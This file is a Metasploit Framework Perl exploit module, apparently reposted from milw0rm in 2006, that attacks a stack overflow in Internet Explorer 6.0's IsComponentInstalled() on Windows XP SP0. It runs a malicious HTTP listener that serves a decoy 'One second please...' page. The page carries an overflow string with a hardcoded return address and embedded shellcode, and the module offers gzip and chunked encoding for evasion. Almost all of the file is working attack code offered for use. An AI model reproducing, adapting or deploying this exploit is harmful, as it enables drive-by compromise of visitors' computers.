1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223 | ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_iscomponentinstalled;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Windows XP SP0 IE 6.0 IsComponentInstalled() Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a stack overflow in Internet Explorer. This bug was
patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
'Space' => 512,
'BadChars' => "\x00\x5c\x0a\x0d\x22",
'Keys' => ['-bind'],
},
'Refs' =>
[
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows XP SP0 with Internet Explorer 6.0', 0x71aa16e5 ]
],
'Keys' => [ 'ie' ],
'DisclosureDate' => 'Feb 24 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
$self->PrintLine("[*] Client connected from $rhost:$rport ($agent)");
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $pattern = Pex::Text::AlphaNumText(8192);
substr($pattern, 755, 4, pack('V', $target->[1] ));
substr($pattern, 755 + 2888, length($shellcode), $shellcode);
my $data = qq|
<html>
<head>
<title>One second please...</title>
<script>
function window.onload() {
oClientCaps.style.behavior = "url(#default#clientCaps)";
oClientCaps.isComponentInstalled("$pattern", "componentid");
}
</script>
</head>
<body id="oClientCaps">
One second please...
</body>
</html>
|;
return $data;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-02-28]
|
